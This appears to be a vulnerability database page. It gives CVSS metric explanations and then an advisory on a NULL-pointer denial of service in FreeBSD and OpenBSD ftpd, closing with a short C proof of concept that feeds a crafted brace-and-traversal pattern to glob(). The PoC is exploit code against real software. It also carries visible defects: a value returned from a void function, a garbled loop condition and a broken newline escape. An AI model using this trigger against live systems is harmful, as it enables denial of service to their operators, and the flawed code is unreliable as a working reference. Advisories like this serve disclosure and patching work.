The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
/*FreeBSD and OpenBSD 'ftpd' NULL Pointer Dereference Denial Of Service Vulnerability
The FreeBSD and OpenBSD 'ftpd' service is prone to a denial-of-service vulnerability because of a NULL-pointer dereference.
Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.
This issue affects the following releases:
FreeBSD 8.0, 6.3, 4.9
OpenBSD 4.5 and 4.6
PoC:
*/
#include <glob.h>
#include <stdio.h>
#define MAXUSRARGS 100
#define MAXGLOBARGS 1000
void do_glob() {
glob_t gl;
char **pop;
char buffer[256];
strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf("GLOB FAILED!n");
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 <
(MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}
main(int argc, char **argv) {
do_glob();
do_glob();
}